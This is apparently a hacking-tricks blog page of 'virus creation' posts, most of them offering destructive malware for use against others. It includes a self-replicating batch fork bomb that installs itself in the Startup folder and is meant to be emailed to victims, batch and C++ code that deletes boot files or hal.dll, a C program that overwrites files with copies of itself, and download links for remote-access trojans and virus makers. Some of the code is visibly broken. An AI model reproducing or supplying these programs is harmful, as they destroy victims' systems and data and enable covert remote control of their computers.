Latest hacking tricks: virus creation

Showing posts with label virus creation. Show all posts

Project - Trojan in Java

1.0 TroJava
Well folks given that some are secured to Java (I see very few post and there are tutorials), and I think it's because many think that this language is for enterprise-level software y7o very seriously ... Well in this project want to show that we can create our RAT, Virus and other "malwaritos" so as we do with VB or C / C ++...
Java is a programming language object-oriented high level so it will be very easy to program in it, plus is so multi-platform "virus for all" xD ...
Well first things first, and ask what we do and the order in which we will do:
1. Planning of what we do.
    1.1 Platform (SO)
    1.2 Type of execution
    1.3 Software to use
2. Execution of the planning
    2.1 Creating a shell
    2.2 Creating and understanding the Sockets
    Mini 2.3 Java chat
3. Creation of TroJava
    3.1 "Configure" our chat
    3.2 Create the inverse
    3.3 Connect the mini-projects
    3.4 Applying fixes
4. Creating Interfaces
    4.1 APPLICABILITY visual themes
5. Share to the Community
Buan as we planned what we will carry out the project now include all (including me) are just "starting" with java, and I mean that we will explain everything step by step, no one understands things up which made them, so thank we use something called Comments in Java and any derivative of C / C + + are done with / / or / * * / (for comments mucahas lines) ...
All clear?, Which as we start:
1. Planning
1.1 Platform (OS): Well folks this election is very simple, we said that java is multiplatform but equally some commands code changes depending on the OS, so we choose an OS (Which is going to attack), bone where it will run the trojan xD and logical choice, we will run on Window $ OS (initially), and the client on the other hand if you are going multiplatform or able to manipulate the machine from any OS (that has java installed obviously) ...From here we will use the following names, Core and Runner, that I may better understand the core of the Trojan will be the "evil" for calling him somehow, and the Runner who will send orders to the Core, I do not Client and Server call to avoid confusion, since the beginning will make a direct connection but end up with connection insurance Invesa and get confused ... but later understand why not to worry ...
1.2 Type of execution: The first type will ejcucion console mode, it will be very nice xD besides that also learn a bit of it, which teaches us this method of july and I'm sure Trojan "Dominate the world! JAJAJAAJAJ ¬ ¬ "xD ... naaa but if you learn a lot ...
1.3 Software used: Well here if each person's choice, at the risk of being told "easy" or any other denomination I personally use Netbeans 7.0.1, pc can use who want ... I recommend this and / or the eclipse are the best IDE I've seen although many also say that JCreator is very good I have not tried.
Good to leave here for now, I will prepare some things for later and then expect to see enthusiasm from all the "Javer" xD, for this proyevto, I can say in advance that can be read on the following Guides Greetings ...

http://zarza.usal.es/ ~ fgarcia/doc/tuto2/V_2.htm

http://www.dlsi.ua.es/asignaturas/sid/JSockets.pdf

How to make damage to your friends PC

1. Open Notepad.
2. COPY and Paste the following Code without quotes.....

"C:\Users\Owner\Desktop\clickme.bat" "C:\Users\Owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

start clickme.bat
clickme.bat

3. Save it as, "clickme.bat"
4. Send it to them over email or whatever.

What does this do? They will click on it, it will open multiple command prompt windows until the computer crashes. When they restart their computer, it will start again!

TIPS:
1. Make sure you tell them to save the file on the desktop .
2. Make sure they run Windows .

To Stop it:

just open your windows in safe window and delete these two files

Code:

1. C:\Users\Owner\Desktop\clickme.bat

2. C:\Users\Owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

dats it.... :)

IF ANY DAMAGE DONE WE ARE NOT RESPONSIBLE for information purpose only........

Shut down a PC FOREVER!!!!!!!!!!!!!

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun ...

REMEMBER - DO NOT CLICK THIS FILE.

YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

DONOT TRY THIS ON UR PC.....!

If any data loss to your pc or other pc we are not responsible... try it your own risk.....

FOR EDUCATIONAL PURPOSE ONLY...

How to remove viruses manually without any antivirus softwares

Virus is just a program written to do some operations by running in the background process.

A virus first changes the registry values and it starts eating process of the system.
So registry back up is recommended regularly.U can back up registry from any of the registry cleaner softwares or registry back up softwares like CCleaner,backup registry,fix registry etc...

To remove the virus manually one should be aware of the process running in his system
u can use hijackthis to note down and check process running in background and even to disable them.
so download hijackthis and install

then if a virus is infected to the system follow these steps
check with the hijackthis remove the virus(or any suspicious programs) which is in the startup,So the virus program is removed
Then check ur hard drive further for any more suspicious programs or virus and remove those .exe files manually by shift+delete keys
Then check for registry editor,if it is disabled then do the following steps 1) Click Start, Run 2) Type GPEDIT.MSC and Press Enter 3) Go to the following location a)User Configuration b)Administrative Templates c)System 4) In the Settings Window, find the option for "Prevent Access to Registry Editing Tools" and double-click on it to change. 5) Select Disabled or Not Configured and choose OK 6) Close the Group Policy Editor and restart your computer 7) Try opening REGEDIT again
This enables ur registry editor from where u can enable task manager and show hidden files options etc....

Powerful C++ Virus

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your homecomputer.

The Original Code:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove(”C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

Download all Trojans

These are the great Trojans to Download

Spy-Net [RAT] v1.7

Download :
http://www.4shared.com/file/90254050/3988d437/Spy-Net_RAT_v17.html
Password: Spy-Net

Nuclear RAT 2.1.0

* Programmed by: Caesar2k
* Date added / updated: September 4th 2007
* Downloads: 80685
* File size: 1.26MB
* Coded in: Delphi
* Section: Remote Administration Tools & Spy
* Compatibility: Windows NT, 2K, XP, Vista
Download :
http://www.nuclearwintercrew.com/Products-View/21/Nuclear_RAT_2.1.0/

Turkojan 4

Features :
* Reverse Connection
* Remote Desktop(very fast)
* Webcam Streaming(very fast)
* Audio Streaming
* Thumbnail viewer
* Remote passwords
* MSN Sniffer
* Remote Shell
* Web-Site Blocking
* Chat with server
* Send fake messages
* Advanced file manager
* Zipping files&folders
* Find files
* Change remote screen resolution
* Mouse manager
* Information about remote computer
* Clipboard manager
* IE options
* Running Process
* Service Manager
* Keyboard Manager
* Online keylogger
* Offline keylogger
* Fun Menu
* Registry manager
* Invisible in Searching Files/Regedit/Msconfig
* Small Server 100kb
Download :
http://www.4shared.com/file/72543880/bd92d968/TurkojaN_4.html
http://w14.easy-share.com/1702095672.html

Trojan Virus Steals Banking Info

The details of about 500,000 online bank accounts and credit and debit cards have been stolen by a virus described as “one of the most advanced pieces of crimeware ever created”.
The Sinowal trojan has been tracked by RSA, which helps to secure networks in Fortune 500 companies.
RSA said the trojan virus has infected computers all over the planet.
“The effect has been really global with over 2000 domains

compromised,” said Sean Brady of RSA’s security division.
He told the BBC: “This is a serious incident on a very noticeable scale and we have seen an increase in the number of trojans and their variants, particularly in the States and Canada.”
The RSA’s Fraud Action Research Lab said it first detected the Windows Sinowal trojan in Feb 2006.
Since then, Mr Brady said, more than 270,000 banking accounts and 240,000 credit and debit cards have been compromised from financial institutions in countries including the US, UK, Australia and Poland.
The lab said no Russian accounts were hit by Sinowal.
Source: BBC News
http://news.bbc.co.uk/2/hi/technology/7701227.stm

TeraBIT Virus Maker 2.8 SE

TeraBIT Virus Maker 2.8 SE
(Backdoor.Win32.VB.bna)
Terabit Virusmaker

by m_reza00
Written in Visual Basic
Released in September 2007
Made in Iran
dropped files:
c:\WINDOWS\system32\csmm.exe
Size: 16,950 bytes
startup:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon “Shell”
Old data: Explorer.exe
New data: explorer.exe C:\WINDOWS\system32\csmm.exe
Tested on Windows XP
September 19, 2007
Download :
http://rapidshare.com/files/96994198/TeraBIT_VM_2_1.8.zip.html

Demon-Ps 2.8

Demon-Ps 2.8
(Trojan-PSW.Win32.VB.us)
(Trojan-PSW.Win32.VB.va)
Demon-ps2.8

by Masoud Azimi
Written in Visual Basic
Released in August 2008
Made in Iran
Server
Dropped Files:
c:\WINDOWS\system32\love.exe Size: 81,920 bytes
c:\WINDOWS\system32\config\he.txt Size: 194 bytes
c:\WINDOWS\system32\config\sysrun.exe Size: 81,920 bytes
Added to Registry::
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run “(Default)”
Data: C:\WINDOWS\system32\config\sysrun.exe -s
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon “Shell”
Data: Explorer.exe C:\WINDOWS\system32\love.exe -s
Tested on Windows XP
August 21, 2008
Download :
http://rapidshare.com/files/127734369/Demon_Ps___2.8.zip
http://www.2shared.com/file/3532991/e70b602/Demon_Ps___28.html

A virus program in c for creating a folder virus

#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Simple virus code

IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.

HERE'S WHAT U SHOULD DO

OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.

Code Is Below
rmdir C:\Documents and Settings \S\Q.

Virus code in c to create a folder virus

Run this on your own responsibility*/

VIRUS CODE-2

/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......

#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)

write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Latest hacking tricks